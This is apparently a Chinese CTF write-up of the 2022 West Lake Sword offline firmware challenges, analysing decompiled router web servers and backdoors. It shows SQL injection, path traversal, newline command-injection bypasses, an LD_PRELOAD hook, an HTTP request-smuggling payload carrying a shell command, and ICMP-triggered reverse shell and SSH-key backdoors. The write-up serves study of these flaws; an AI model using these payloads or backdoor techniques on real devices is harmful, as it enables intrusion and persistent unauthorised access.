长亭百川云 - 文章详情

2022西湖论剑线下赛部分题解

RainSec

47

2024-07-13

2022西湖论剑线下赛部分题解

  2022西湖论剑线下部分个人觉得有比较意思的题目复现: )

固件1

xhttp

  尝试直接访问index.html或者cgi只会收到400错误,说明发送的请求格式有问题。所以本来打算直接调试,但是由于gdb似乎对mips16到mips32切换支持的不是很好,很难调试。

$ curl -v http://192.168.1.1:8080/index.html     
*   Trying 192.168.1.1...  
* TCP_NODELAY set  
* Connected to 192.168.1.1 (192.168.1.1) port 8080 (#0)  
> GET /index.html HTTP/1.1  
> Host: 192.168.1.1:8080  
> User-Agent: curl/7.58.0  
> Accept: */*  
>   
< HTTP/1.1 400 Bad Request  
< Date: Sat, 03 Dec 2022 09:22:41 GMT  
< Server: Boa/0.94.14rc21  
< Accept-Ranges: bytes  
< Connection: close  
< Content-Type: text/html; charset=ISO-8859-1  
<   
<HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD>  
<BODY><H1>400 Bad Request</H1>  
Your client has issued a malformed or illegal request.  
</BODY></HTML>  
* Closing connection 0

  所以比对boa源码,根据fprintf(stderr, "boa: server version %s\n", "Boa/0.94.14rc21")得知版本为0.94.14rc21;然后就是定位大概题目编译的boa程序在哪一阶段会对请求做额外处理。根据boa.conf,在tmp下有日志文件:

ErrorLog /tmp/error_log  
  
# AccessLog: The location of the access log file. If this does not  
# start with /, it is considered relative to the server root.  
# Comment out or set to /dev/null (less effective) to disable.  
# Useful to set to /dev/stdout for use with daemontools.  
# Access logging.    
# Please NOTE: Sending the logs to a pipe ('|'), as shown below,  
#  is somewhat experimental and might fail under heavy load.  
# "Usual libc implementations of printf will stall the whole  
#  process if the receiving end of a pipe stops reading."  
#AccessLog  "|/usr/sbin/cronolog --symlink=/var/log/boa/access_log /var/log/boa/access-%Y%m%d.log"  
  
AccessLog /tmp/access_log

  而源码中表示http头部和body处理应该分别在read_headerread_body。可以重新开启xhttpd服务并添加debug参数,这样可以在日志中查看更具体的信息。

if (retval == 1) {  
            switch (current->status) {  
            case READ_HEADER:  
            case ONE_CR:  
            case ONE_LF:  
            case TWO_CR:  
                retval = read_header(current);  
                break;  
            case BODY_READ:  
                retval = read_body(current);  
                break;  
            case BODY_WRITE:  
                retval = write_body(current);  
                break;  
            case WRITE:  
                retval = process_get(current);  
                break;  
            case PIPE_READ:  
                retval = read_from_pipe(current);  
                break;  
            case PIPE_WRITE:  
                retval = write_from_pipe(current);  
                break;  
            case IOSHUFFLE:  
            }  
}

  如图在构造GET方法和POST方法后都停在了对header解析的阶段,所以很有可能题目中添加了对header某些字段的检查;通过比对应源码中read_header->process_option_line解析header中的字段并且添加到request中的键值对,而在题目中对应解析函数(sub_45F8A0)中多了一个对于AUTHORIZATION的解析:

else if ( strcmp(v11, "ACCEPT") )  
{  
    v10 = memcmp(v11, "AUTHORIZATION", 13);  
    if ( v10 )  
        return add_cgi_env(a1, v11, v4, 0);  
    if ( (unsigned int)strlen(v4) >= 0x101 || strncasecmp(v4, "Basic ", 6) || (v12 = (_BYTE *)strchr(v4, ':')) == 0 )  
    {  
        BadRequest(a1);  
        return v10;  
    }  
    *v12 = 0;  
    a1->mmap_entry_var = (void *)strdup(v4 + 6);  
    a1->fd = strdup(v12 + 1);  
}  
return 1;

  这里需要AUTHORIZATION:Basic ?:?格式的字段,当然如果没有AUTHORIZATION的话也不会直接导致400问题,所以直接原因不是这里,但至少从这里可知很可能需要用户验证;a1->mmap_entry_var和a1->fd应该就是username, token(这个结构体直接导入的源码的,在源码中没有用户验证相关成员所以肯定是修改的)。process_option_line->add_cgi_env(request * req, const char *key, const char *value,int http_prefix)专门用于设置CGI环境,大致原理是为每个键值对key=value调用malloc分配空间保存,而http_prefix是否为0决定是在key前面添加HTTP_前缀。

  在解析process_option_line解析完字段后,没问题,就是访问文件或者cgi的阶段可能有限制;这在源码中read_header->process_header_end实现:

/* terminate string that begins at req->header_line */  
  
if (req->logline) {  
    if (process_option_line(req) == 0) {  
        /* errors already logged */  
        return 0;  
    }  
} else {  
    if (process_logline(req) == 0)  
        /* errors already logged */  
        return 0;  
    if (req->http_version == HTTP09)  
        return process_header_end(req);  
}  
  
/*  
 * Name: process_header_end  
 *  
 * Description: takes a request and performs some final checking before  
 * init_cgi or init_get  
 * Returns 0 for error or NPH, or 1 for success  
 */  
  
int process_header_end(request * req)

  源码中process_header_end会在调用init_cgi和init_get之前对uri进行解码、检查host等。而在xhttp中对应位置(sub_45F6B0),出现了对username和token的校验:

v10 = a1->mmap_entry_var;  
if ( !v10 )  
    goto LABEL_9;  
if ( !a1->fd )  
    goto LABEL_9;  
memset(v17, 0, sizeof(v17));  
if ( sub_45F684((int)v17, (int)v10) )  
    goto LABEL_9;  
v4 = strcmp(v17, a1->fd);  
if ( v4 )  
{  
    v4 = 0;  
    BadRequest403((int)a1);  
    return v4;  
}  
  
LABEL_9:  
    BadRequest(a1);  
    return 0;  
  
//sub_45F684->sub_45F4F4  
int __fastcall sub_45F4F4(int a1, int a2)  
{  
  const char *v3; // $v0  
  int v4; // $s1  
  int v6; // $s1  
  _DWORD *v8; // [sp+2Ch] [-41Ch] BYREF  
  const char *v9; // [sp+30h] [-418h] BYREF  
  char v10[1024]; // [sp+34h] [-414h] BYREF  
  
  v8 = 0;  
  v9 = 0;  
  if ( sub_45A9BC((int)"/tmp/user.db", (int *)&v8) )  
  {  
    v3 = sub_41FED4((int)v8);  
    fprintf(stderr, "Cannot open database: %s\n", v3);  
  }  
  else  
  {  
    strcpy(v10, "SELECT * FROM User where Name='");  
    strcat(v10, a2);  
    strcat(v10, "';");  
    v4 = sub_44895C(v8, v10, (int (__fastcall *)(int, int, int *, _DWORD *))sub_45EE64, a1, &v9);  
    if ( !v4 )  
    {  
      sub_433CB8((int)v8);  
      return v4;  
    }  
    v6 = stderr;  
    fputs("Failed to select data\n", stderr);  
    fprintf(v6, "SQL error: %s\n", v9);  
    sub_407498((int)v9);  
  }  
  v4 = 1;  
  sub_433CB8((int)v8);  
  return v4;  
}

  那么显然使用数据库存储用户信息,在这里会校验AUTHORIZATION中的用户信息,没有通过才直接导致的400/403问题。user.db文件:

sqlite> .table  
User  
sqlite> .schema  
CREATE TABLE User(Id INT, Name TEXT, Password TEXT, Role TEXT);  
sqlite> SELECT * FROM User;  
1|guest|guest|2  
2|admin|DmdcS14R|0

之后的cgi问题其实都不算难。

xhttp调试

  根据启动脚本来看,/usr/bin/www/index.html是可以访问的:

#!/bin/sh /etc/rc.common  
  
START=99  
  
start() {  
    rm -rf /tmp/user.db  
    echo 'hello' > /usr/bin/www/index.html  
    /usr/bin/xhttpd &  
}

  但是实际上却有问题,同理www下的cgi也一样不能直接访问。那么应该是websever做了一些处理,因此尝试调试对比Boa源码:fprintf(stderr, "boa: server version %s\n", "Boa/0.94.14rc21")。但是gdb 远程调试过程中本机gdb-mutiarch无法正常运行,比如查看汇编出错,无法下断点,运行后无法断下:

  但是在调试器cgi程序时却能正常运行,估计是程序版本太高的原因,如上图函数开头并不是直接开栈而是save这个指令,应该和设置canary有关。而cgi子程序中没有出现这样的函数开头。因此暂时只能直接IDA静态比对。后来发现其编译选项是mips32r2和mips16:其中mips32r2表示mips架构某个指令集(ISA)而mips16表示使用拓展16位压缩指令集,这个模式下cpu可以执行同一文件中的32位/16位指令(MIPS Application Specific Extensions (ASE) - Imagination)(MIPS也有"thumb模式"我是万万没想到的,太菜了)

  由于xhttp编译的时候启用了-mips16,可以在gdb中设置architecture mips:16获得正常的汇编输出,而他的依赖库libgcc_s.so.1,libc.so都没有开启也就是正常的mips32 ISA,所以在调试时如果遇到入库和出库情况gdb就会搞不清楚而出错

编译高版本gdb/gdbserver

  尝试高版本gdb+gdbserver解决调试问题,从GNU下载的gdb源码包括gdbserver,在编译时需要注意configure配置:

  • • host:The system that is going to run the software once it is built. Once the software has been built, it will execute on this particular system.

  • • 即编译完成的二进制文件要放在什么架构的host上 跑

  • • build:The system where the build process is being executed. For most uses this would be the same as the host system, but in case of cross-compilation the two obviously differ.

  • • 二进制文件在什么架构上编译的,一般和host一样

  • • target:The system against which the software being built will run on. This only exists, or rather has a meaning, when the software being built may interact specifically with a system that differs from the one it's being executed on (our host). This is the case for compilers, debuggers, profilers and analyzers and other tools in general.

  • • 这个仅当二进制运行时需要和某个特定架构交互,而这个特定架构与该host架构不同时才有效。如gdbserver不需要指定target,而gdb要remote到某个异架构端时就需要指定target了。

  在本地编译时gdb总是遇到GMP is missing or unusable错误,以各种方式安装libgmp都无法解决(见gdbserver-all-in-one 手册 | SkYe231 Blog (mrskye.cn))。用以下命令编译gdbserver:

mkdir build && cd build  
../configure --host=mipsel-linux-gnu  
make -j8 all-gdbserver CFLAGS='-mips32r2 -O2 -static' CXXFLAGS='-mips32r2 -O2 -static'  
mips-linux-gnu-strip ./gdbserver

  编译出来的gdbserver成功运行在设备上,但是问题一样存在(悲)。那么如果没有调试环境怎么确定Boa源码做了哪些修改呢,可以尝试符号恢复(试了效果不好)。

get.cgi

  通过boa源码可知子进程调用使用了pipe管道和父进程交互:

漏洞位于main->sub_408020->sub_408064->sub_408098:

int sub_408098()  
{  
  int v1; // [sp+18h] [+18h]  
  char v2[128]; // [sp+1Ch] [+1Ch] BYREF  
  char v3[40]; // [sp+9Ch] [+9Ch] BYREF  
  char v4[1028]; // [sp+C4h] [+C4h] BYREF  
  
  strcpy(v2, "/usr/bin/upload/");  
  sub_4044D4((int)"name", v3, 30);  
  strcat(v2, v3);  
  v1 = fopen(v2, "rb");  
  if ( !v1 )  
    return fwrite("<p>File not found</p>\n", 1, 22, FileFD);  
  memset(v4, 0, 1024);  
  fread(v4, 1024, 1, v1);  
  fclose(v1);  
  fprintf(FileFD, v4);  
  return system("rm -rf /usr/bin/upload/*");  
}  
  
int __fastcall sub_4044D4(int a1, _BYTE *buf, int a3)  
{  
  char **kv_name; // [sp+18h] [+18h]  
  
  kv_name = (char **)sub_4070C0(a1);  
  if ( kv_name )  
    return sub_404898(kv_name, buf, a3, 0);  
  *buf = 0;  
  return 4;  
}

  通过调试可知sub_4044D4是将调用get.cgi的name参数值赋值到v3中,而在sub_4044D4->sub_404898做了真正的赋值操作但是没有对目录穿越做限制(../),只是对\n \r处理了一下,这里使用漏洞穿越即可cat flag:

diag.cgi

  在直接分析这个cgi之前,xhttpd中对其调用有校验操作,还需要用户对应的Role值为0也就是需要admin的权限。虽然admin的Token是随机的,但是在数据库函数中所使用的SQL语句是直接拼接的所以存在注入:

  回到cgi中,实现了一个ping和curl的测试功能,通过参数type选定具体功能,param参数选定ping或者curl的参数。sub_408258和sub_408304都存在很简单的命令拼接导致命令注入,sub_4080B8函数会对param进行过虑,但是没有过虑\n。因此利用diag.cgi需要SQL注入+\n绕过即可。不过需要注意的是需要用urlencode 发送特殊字符,然后由header(POST)字段中的application/x-www-form-urlencoded表明需要解码。

int sub_4083B0()  
{  
  char v1[28]; // [sp+18h] [+18h] BYREF  
  char v2[68]; // [sp+34h] [+34h] BYREF  
  
  sub_403D98((int)"type", v1, 20);  
  sub_403D98((int)"param", v2, 64);  
  if ( sub_4080B8(v2) )  
    return fwrite("<p>wrong parameter</p>\n", 1, 23, dword_419154);  
  if ( !strncmp(v1, "ping", 4) )  
  {  
    sub_408258(v2);  
  }  
  else if ( !strncmp(v1, "curl", 4) )  
  {  
    sub_408304(v2);  
  }  
  return fwrite("done\n", 1, 5, dword_419154);  
}  
  
int __fastcall sub_4080B8(int a1)  
{  
  int i; // [sp+18h] [+18h]  
  int v3; // [sp+1Ch] [+1Ch]  
  
  v3 = strlen(a1);  
  for ( i = 0; i < v3; ++i )  
  {  
    if ( *(_BYTE *)(a1 + i) == '`'  
      || *(_BYTE *)(a1 + i) == '|'  
      || *(_BYTE *)(a1 + i) == '$'  
      || *(_BYTE *)(a1 + i) == '&'  
      || *(_BYTE *)(a1 + i) == '('  
      || *(_BYTE *)(a1 + i) == ')'  
      || *(_BYTE *)(a1 + i) == '{'  
      || *(_BYTE *)(a1 + i) == '}'  
      || *(_BYTE *)(a1 + i) == ';' )  
    {  
      return 1;  
    }  
  }  
  return 0;  
}

upload.cgi

  在upload.cgi中存在目录穿越,限制了参数长度不超过25但是足够覆盖某些文件,比如shadow:

int sub_4080B8()  
{  
  int v1; // [sp+18h] [+18h]  
  _DWORD *v2; // [sp+1Ch] [+1Ch] BYREF  
  char fileName[2048]; // [sp+20h] [+20h] BYREF  
  char v4[1024]; // [sp+820h] [+820h] BYREF  
  int v5; // [sp+C20h] [+C20h] BYREF  
  char v6[132]; // [sp+C24h] [+C24h] BYREF  
  
  if ( sub_403E1C((int)"file", fileName, 1024) )  
    return puts("<p>No file was uploaded.<p>");  
  if ( (unsigned int)strlen(fileName) >= 25 )  
    return puts("<p>Wrong parameter</p>");  
  if ( sub_404248((int)"file", &v2) )  
    return fwrite("Could not open the file.<p>\n", 1, 28, dword_419154);  
  strcpy(v6, "/usr/bin/upload/");  
  strcat(v6, fileName);  
  v1 = fopen(v6, &dword_40888C);  
  while ( !sub_4043C8(v2, (int)v4, 1024, &v5) )  
    fwrite(v4, v5, 1, v1);  
  fclose(v1);  
  return sub_404480(v2);  
}

  所以一种比较直接的利用就是覆盖shadow,登录主机。在官方WP中利用任意文件上传和xhttpd设置cgi环境变量时没有加前缀,可实现依赖库劫持。前文提到的add_cgi_env(request * req, const char *key, const char *value,int http_prefix)函数用于设置cgi程序的环境变量,最后一个参数需要设置为1才会在key前面添加HTTP_。而在xhttp解析头部字段时(对应源码process_option_line,xhttp中sub_45F8A0)没有设置环境变量前缀,这就可以传入LD_PRELOAD:path/to/so指定依赖库(学到了~),再配合upload实现劫持:

//hook.c  
#include <stdlib.h>  
  
char *getenv(const char *name){  
    system("cat /dev/ttyUSB0");  
    return NULL;  
}  
//mipsel-linux-gnu-gcc-5 -mips32r2 -Wall -fPIC -shared -o hook.os hook.c

调试子进程

  对于fork+execve子程序调用的情况调试方法有:

  • • patch子程序

  • • shell脚本监视子程序启动

patch法

  在patch过程有个坑是:对于diag.cgi是个mips架构由于流水线效应,分支指令后面一般跟着一条有效指令或者nop。而IDA在把原来不是分支指令patch为分支指令后会强制在后面填充一个nop,如下图所示:

  然后在保存这个patched文件时IDA报错如下:

  暂时没有看到有解决方法,因此使用ghidra来patch(参考【技术分享】IoT固件分析入门 - 网安 (wangan.com)):

需要从github上下载一个脚本来保存:SavePatch.py

jailbreak

  jailbreak对应的启动文件为/etc/rc.d/S97jailbreak,程序本体为appweb会监听本地7777端口。而该本地端口的访问由nginx监听转发外部端口59659完成,只有以ejs或者php结尾的URI的请求才行。

#!/bin/sh /etc/rc.common  
  
START=97  
  
USE_PROCD=1  
PROG=/usr/bin/appweb  
  
start_service() {  
    procd_open_instance  
    procd_set_param command "$PROG" "127.0.0.1:7777"  
    procd_set_param respawn 3600 2 10000  
    procd_close_instance  
}  
  
reload_service() {  
    procd_send_signal appweb  
}
server {   
  
#see uci show 'nginx._redirect2ssl'  
  
listen 59659;  
  
listen [::]:59659;  
  
  
  
location ~* \.(ejs|php)$ {  
  
    proxy_redirect off;  
  
    proxy_set_header X-Real-IP $remote_addr;  
  
    proxy_set_header X-Real-PORT $remote_port;  
  
    proxy_set_header Host $host;  
  
    proxy_set_header Proxy "";  
  
    proxy_pass   http://127.0.0.1:7777;  
  
    }  
  
}

  appweb是这道题的关键程序,所以先得了解他的架构。

appweb

  appweb是一个专用于嵌入式环境的开源webserver。其特点为使用类似apache的配置文件,Pipeline流水线处理请求,动态模块加载。整个框架为:每个请求通过Pipeline流水线完成。在此基础上URI匹配,身份验证等通过读取配置文件查看需求。最后以在Pipeline上加载模块的方式进行数据处理。如下图:

配置文件

  文件系统中并没有appweb.conf文件,在其启动脚本中也没有指定。所以这里简单看看官方的一个例子即可:

Home "."  
ErrorLog error.log  
ServerName http://localhost:7777  
Documents "/var/web"  
Listen 7777  
LoadModule espHandler mod_esp  
AddHandler espHandler esp

  必须要用Home指定全局路径,还需要注意的就是LoadModuleAddHandler,首先从mod_esp(路径,一般是个so库)中加载espHandler模块然后指定对后缀为esp的使用。

Pipeline

  pipeline可以看做一个双向管道,两端是client和handler中间可以防止多个模块(filter, connector)。其中包含了许多机制如队列,数据包,缓冲和事件调度。其中数据包只会在模块中直接传递而不会进行复制操作,这可以提升一定的效率。

  上图中的小方块被视为stage(s),包括:Handlers,Filters,Network Connectors(这些都是模块)。handlers一般通过appweb配置文件动态加载,其用于动态生成响应数据(CGI方式依赖额外程序来生成)。filters在数据出入或传出handlers时操作数据(一般用于压缩或者加密数据),比如appweb项目自身用filter模块实现 分块传输编码(Transfer Chunk Encoding)。Connectors是pipelin的最后一环,用于将数据包传给client。appweb提供两个分别是通用的net connector 和专门传静态文件的send connector

Handlers

  为了解决一个服务器完成难以完成各种要求的问题,appweb使用动态加载handler的方式来对其功能进行"分块",来尽量满足定制化需求(有点像积木的意思)。可以通过动态库的形式动态加载或者从源码将模块静态编译进去。在conf文件中可以定义,对于不同的URI等配置不同的handler来实现动态加载模块进行处理。handlers可以存在多个,比如源码中若不指定conf文件config.c:

大致对应如下配置文件:

LoadModule authFilter mod_auth  
AddHandler authFilter  
LoadModule cgiHandler mod_cgi  
AddHandler cgiHandler .cgi .cgi-nph .bat .cmd .pl .py  
LoadModule ejsHandler mod_ejs  
AddHandler ejsHandler .ejs  
LoadModule phpHandler mod_php  
AddHandler phpHandler .php  
LoadModule fileHandler mod_file  
AddHandler fileHandler

源码简析(V3.3.2)

  每个appweb例程所提供的服务(包括virtual host)都由struct MaHttp维护,结构如下:

typedef struct MaHttp {  
    MprHashTable    *stages;                /**< Hash table of stages */  
    struct MaServer *defaultServer;         /**< Default web server object */  
    MprList         *servers;               /**< List of web servers objects */  
    MaLimits        limits;                 /**< Security and resource limits */  
  
    /*  
     *  Some standard pipeline stages  
     */  
    struct MaStage  *netConnector;          /**< Network connector */  
    struct MaStage  *sendConnector;         /**< Send file connector */  
    struct MaStage  *authFilter;            /**< Authorization filter (digest and basic) */  
    struct MaStage  *rangeFilter;           /**< Ranged requests filter */  
    struct MaStage  *cgiHandler;            /**< CGI handler */  
    struct MaStage  *chunkFilter;           /**< Chunked transfer encoding filter */  
    struct MaStage  *dirHandler;            /**< Directory listing handler */  
    struct MaStage  *egiHandler;            /**< Embedded Gateway Interface (EGI) handler */  
    struct MaStage  *ejsHandler;            /**< Ejscript Web Framework handler */  
    struct MaStage  *fileHandler;           /**< Static file handler */  
    struct MaStage  *passHandler;           /**< Pass through handler */  
    struct MaStage  *phpHandler;            /**< PHP handler */  
    {...}  
}

  appweb提供的stages如上,在对该项目进行二次开发的时候可以直接编写模块(库),包括filter、handler、connector。然后在conf文件中加载模块并设置filter、handler、connector等如:

SetConnector netConnector  
  
<if AUTH_MODULE>  
    LoadModule authFilter mod_auth  
    #  
    #   The auth filter must be first in the pipeline before all handlers and  
    #   after the connector definition. Only needed on the output pipeline.  
    #  
    AddOutputFilter authFilter  
</if>  
  
#  
#   Add other filters. Order matters. Chunking must be last.  
#  
<if RANGE_MODULE>  
    LoadModule rangeFilter mod_range  
    AddOutputFilter rangeFilter  
</if>  
<if CHUNK_MODULE>  
    LoadModule chunkFilter mod_chunk  
    AddFilter chunkFilter  
</if>  
  
#  
#   Include all other modules before the file module which is the catch-all.  
#  
Include conf/modules/*  
  
#  
#   The file handler supports requests for static files. Put this last after  
#   all other modules and it becomes the catch-all due to the empty quotes.  
#  
<if FILE_MODULE>  
    # PutMethod on  
    LoadModule fileHandler mod_file  
    AddHandler fileHandler .html .gif .jpeg .png .pdf ""  
</if>

  其中LoadModule对应源码中MprModule *maLoadModule(MaHttp *http, cchar *name, cchar *libname)函数,libname就是模块的路径,name是模块名称(不是库文件名)。函数中调用mprLoadModule打开动态库并且执行初始化函数,初始化函数名称其格式为manameInit

if ((handle = dlopen(path, RTLD_LAZY | RTLD_GLOBAL)) == 0) {  
            mprError(ctx, "Can't load module %s\nReason: \"%s\"",  path, dlerror());  
        } else if (initFunction) {  
            if ((fn = (MprModuleEntry) dlsym(handle, initFunction)) != 0) {  
                if ((mp = (fn)(ctx, path)) == 0) {  
                    mprError(ctx, "Initialization for module %s failed", module);  
                    dlclose(handle);  
                } else {  
                    mp->handle = handle;  
                }  
            } else {  
                mprError(ctx, "Can't load module %s\nReason: can't find function \"%s\"",  path, initFunction);  
                dlclose(handle);  
            }  
        }

  在初始化函数中,开发者就可以根据传入的MaHttp实例设置stages。stage的结构体为struct MaStage里面包含了很多回调函数如:parse、modify、outgoingData等。三要素filter、handler、connector之间的主要区别就在于stage实例的回调函数以调用时机。例如需要一个用户身份验证功能,就可以实现一个filter模块,因为身份验证一般在请求处理(handler进行)之前:

/*  
 *  Loadable module initialization  
 */  
MprModule *maAuthFilterInit(MaHttp *http, cchar *path)  
{  
    MprModule   *module;  
    MaStage     *filter;  
  
    module = mprCreateModule(http, "authFilter", BLD_VERSION, NULL, NULL, NULL);  
    if (module == 0) {  
        return 0;  
    }  
    filter = maCreateFilter(http, "authFilter", MA_STAGE_ALL);  
    if (filter == 0) {  
        mprFree(module);  
        return 0;  
    }  
    http->authFilter = filter;  
    filter->match = matchAuth;   
    filter->parse = parseAuth;   
    return module;  
}

  前面mprCreateModule,maCreateFilter分别是注册模块和在pipeline上注册filter stage。重点在于parseAuth和matchAuth,parseAuth用于解析conf配置文件比如验证算法、授权用户;matchAuth根据解析情况结合请求进行校验。

  还有实现handler和connect也是类似的。maCreateFilter、maCreateHandler、maCreateConnector之间不同的是对stage->flags标志的设置。


  对appweb有个初步认识后,对这个题目就容易理解一些了。从配置文件可知appweb只用来处理对ejs/php文件的访问,其中ejs是嵌入式js,是一套简单的语言模板用于动态生成页面。题目中并没有appweb的配置文件,所以写在了maConfigureServer函数中:

  但其实只有mod_ejs.so存在,所以就得从他的初始化函数入手。比对源码中的ejs实现可以识别一些函数,改动不是很大,最后定位在matchEjs函数中存在命令注入。

int __fastcall matchEjs(_DWORD *a1, int a2, _BYTE *a3){  
      IS_AUTHORIZE = req_is_auth((int)a1);  
  if ( !strcmp(*(_DWORD *)(v11 + 72), "/index.ejs") )  
  {  
    if ( IS_AUTHORIZE )  
    {  
      v13 = mprLookupHash(*(_DWORD *)(v11 + 180), "HTTP_EJS");  
      system(v13);  
      maFormatBody(a1, "Hello Admin!", "Login successs!");  
      maFailRequest(a1, 200, "Login successs!");  
    }  
    else  
    {  
      v4 = strlen(*(_DWORD *)(v11 + 112));  
      v9 = malloc(v4 + 128);  
      sprintf(v9, "http://%s:%d/login.html", *(const char **)(v11 + 112), 59659);  
      maFormatBody(a1, "Forbidden", "Not Authorize! Please Login!");  
      maSetHeader(a1, 0, "Location", v9);  
      maFailRequest(a1, 302, "Not Authorize! Please Login!");  
      free(v9);  
    }  
  }  
  if ( !strcmp(*(_DWORD *)(v11 + 72), "/login_verify.ejs") )  
  {  
    v14 = maGetQueryString(a1);  
    if ( v14 )  
    {  
      v5 = strlen(v14);  
      v15 = malloc(v5 + 1);  
      strcpy(v15, v14);  
      for ( i = mprStrTok(v15, "&", v19); i; i = mprStrTok(0, "&", v19) )  
      {  
        v16 = strchr(i, '=');  
        if ( v16 )  
        {  
          v6 = (_BYTE *)v16;  
          v17 = v16 + 1;  
          *v6 = 0;  
          if ( !strcmp(i, "username") && !strcmp(v17, "admin") )  
          {  
            if ( !strcmp(i, "password") && !strcmp(v17, "test123") )  
            {  
              IS_AUTHORIZE = 1;  
            }  
            else  
            {  
              maFormatBody(a1, "Auth error", "Password error!");  
              maFailRequest(a1, 403, (const char *)&dword_61D8);  
            }  
          }  
          else  
          {  
            maFormatBody(a1, "Auth error", "Username error!");  
            maFailRequest(a1, 403, (const char *)&dword_61D8);  
          }  
        }  
      }  
      free(v15);  
    }  
    else  
    {  
      v7 = strlen(*(_DWORD *)(v11 + 112));  
      v10 = malloc(v7 + 128);  
      sprintf(v10, "http://%s:%d/login.ejs", *(const char **)(v11 + 112), 59659);  
      maFormatBody(a1, "Forbidden", "Not username and password input!");  
      maSetHeader(a1, 0, "Location", v10);  
      maFailRequest(a1, 302, "Not username and password input!");  
      free(v10);  
    }  
  }  
}

  整体逻辑为:在访问/index.ejs将会跳转到登录页面,上传参数后进入函数下面的判断逻辑如果验证通过则IS_AUTHORIZE=1,那么然后访问/index.ejs就能通过设置头部成员HTTP_EJS完成命令注入。但是验证逻辑是无法绕过的(逻辑问题)。根据官方WP,在req_is_auth函数中验证了ip是否为本地ip,而在nginx转发时设置了proxy_set_header X-Real-IP $remote_addr所以直接访问也绕不过去:

BOOL __fastcall req_is_auth(int a1)  
{  
  BOOL result; // $v0  
  int v2; // [sp+18h] [+18h]  
  
  v2 = mprLookupHash(*(_DWORD *)(*(_DWORD *)(a1 + 32) + 180), "HTTP_X_REAL_IP");  
  if ( v2 )  
    result = strcmp(v2, "127.0.0.1") == 0;  
  else  
    result = 0;  
  return result;  
}

需要使用http走私,在源码中parseRequest->parseFirstLine完成对头部第一行的解析,但是题目中修改了对OPTIONS请求的处理:

if ( !strcmp(key, "CONTENT_LENGTH") )  
  
{  
  
    if ( !strcmp(req->methodName, "OPTIONS") )  
  
    {  
  
        LODWORD(req->length) = 0;  
  
        HIDWORD(req->length) = 0;  
  
    }

这样可以构造OPTIONS请求如下:

OPTIONS /index.ejs HTTP/1.1  
Host: 192.168.1.100  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36  
Cache-Control: max-age=0  
Content-Length: 245  
  
GET /index.ejs HTTP/1.1  
Host: 192.168.1.100  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36  
X-Real-IP: 127.0.0.1  
EJS: ls >/tmp/zzz  
Cache-Control: max-age=0

这样一个数据包就会被服务器识别为两个实现绕过。

pidr

  该程序接受ICMP报文并检测数据段中经运算后是否等于本地时间(Mon,day,hour,min),然后开启一个反向shell,端口由ICMP数据中指定。用C实现ICMP的时候注意报文的checksum字段的计算。

raw socket

  一般使用的SOCK_STREAM、SOCK_DGRAM能够完成核心数据发送与接收,而网络模型协议栈的中间层透明化头部信息全部被剥离recv或者send只有数据对象,即不操控链路层或者网络层数据。SOCK_RAW就是用来操作这两层数据的来实现一些其他的功能(ping, sniffer, routetacer):

  • • 使用raw socket 可以读写ICMP、IGMP等分组。

  • • 大多数内核只处理IPv4数据报中一个名为协议的8位字段的值为1(ICMP)、2(IGMP)、6(TCP)、17(UDP)四种情况。然而该字段的值还有许多其他值。进程使用raw socket 就可以读写那些内核不处理的IPv4数据报了。因此,可以使用原始套接字定义用户自己的协议格式。

  • • 通过使用raw socket ,进程可以使用IP_HDRINCL套接口选项自行构造IP头部。这个能力可用于构造特定类型的TCP或UDP分组等。

  SOCK_RAW具体实现上可以分为链路层原始套接字网络层原始套接字两大类。创建链路层原始套接字使用socket(PF_PACKET, type, htons(protocol))。第三个参数是协议类型其只对报文接收有意义,见下图:

  当type为SOCK_RAW时数据接收或者发送都从MAC帧开始(链路层),当type为SOCK_DGRAM时链路层由内核接管处理,用户只需接收或构造网络层数据。创建网络层原始套接字使用socket(PF_INET/AF_INET, SOCK_RAW, protocol)来操作网络层即以上的数据。接受报文时从网络层(IP)首部开始,以及建立在IP协议之上的TCP/ICMP等首部。发送报文时默认情况IP首部由内核接管,用户构造TCP/UDP/ICMP等协议数据。但是通过setsockopt()给套接字设置上IP_HDRINCL选项,就需要在发送时自行构造IP首部。见下图:

固件2

  这个固件无法直接使用串口或者ssh直连,这是因为在二号固件中设置了root的登录密码:

可以修改二号固件的shadow文件然后重打包再刷入。

frostheart

  对应程序为/usr/bin/main。程序通过mount指令将一个空文件挂载到/proc/pid下面实现进程隐藏(ps看不见):

int hidePid()  
{  
  int result; // $v0  
  int v1; // [sp+20h] [+20h]  
  int v2; // [sp+24h] [+24h]  
  char v3[256]; // [sp+28h] [+28h] BYREF  
  
  v1 = getpid();  
  memset(v3, 0, sizeof(v3));  
  if ( v1 >= 0 )  
  {  
    if ( access("/tmp/pid", 0) )  
    {  
      v2 = strdup("mkdir -p /tmp/pid");  
      system(v2);  
    }  
    sprintf(v3, "mount --bind %s /%s/%d", "/tmp/pid", "proc", v1);  
    system(v3);  
    result = 1;  
  }  
  else  
  {  
    perror("pid error!");  
    result = -1;  
  }  
  return result;

  核心函数是sub_401764,大概逻辑是:接受ICMP ECHO request包,然后判断icmp_id是否为固定值0xDEAD。通过检测后对数据部分进行base64解码(Table异化),然后解码的数据进行校验若通过则从数据找到@本机Mac地址和@key可以将ssh的公钥写入/etc/dropbear/authorized_keys实现ssh无秘钥登录。

while ( !recv(v2, icmp, 1024, 0) );  
checksum = icmp[11];  
}  
while ( LOBYTE(icmp[10]) != 8 );          // Type == 8  
if ( icmp[12] == 0xDEAD )                 // ICMP id  
{  
    base64_decode((int)&icmp[12], (int)v9);  
    if ( getXor((int)&v9[3]) == checksum )  
    {  
        eth5Mac = sub_40168C();  
        if ( eth5Mac )  
        {  
            v5 = strtok(&v9[3], "@");  
            if ( v5 )  
            {  
                v6 = strtok(0, "@");  
                if ( !strcmp(eth5Mac, v5) )  
                {  
                    v7 = fopen("/etc/dropbear/authorized_keys", "a+");  
                    v1 = strlen(v6);  
                    fwrite(v6, v1, 1, v7);  
                    fclose(v7);  
                }  
            }

  同时在nf_flow_in.ko内核模块也需要分析。linux内核模块一般放在/lib/modules/$(uname -r)/目录下,在/etc/modules-load.d/中来配置系统启动时加载哪些模块,但是openwrt是modules-boot.d。/etc/modprobe.d/下配置模块加载时的一些参数,openwrt上对应/etc/modules.d/。

Netfilter 框架

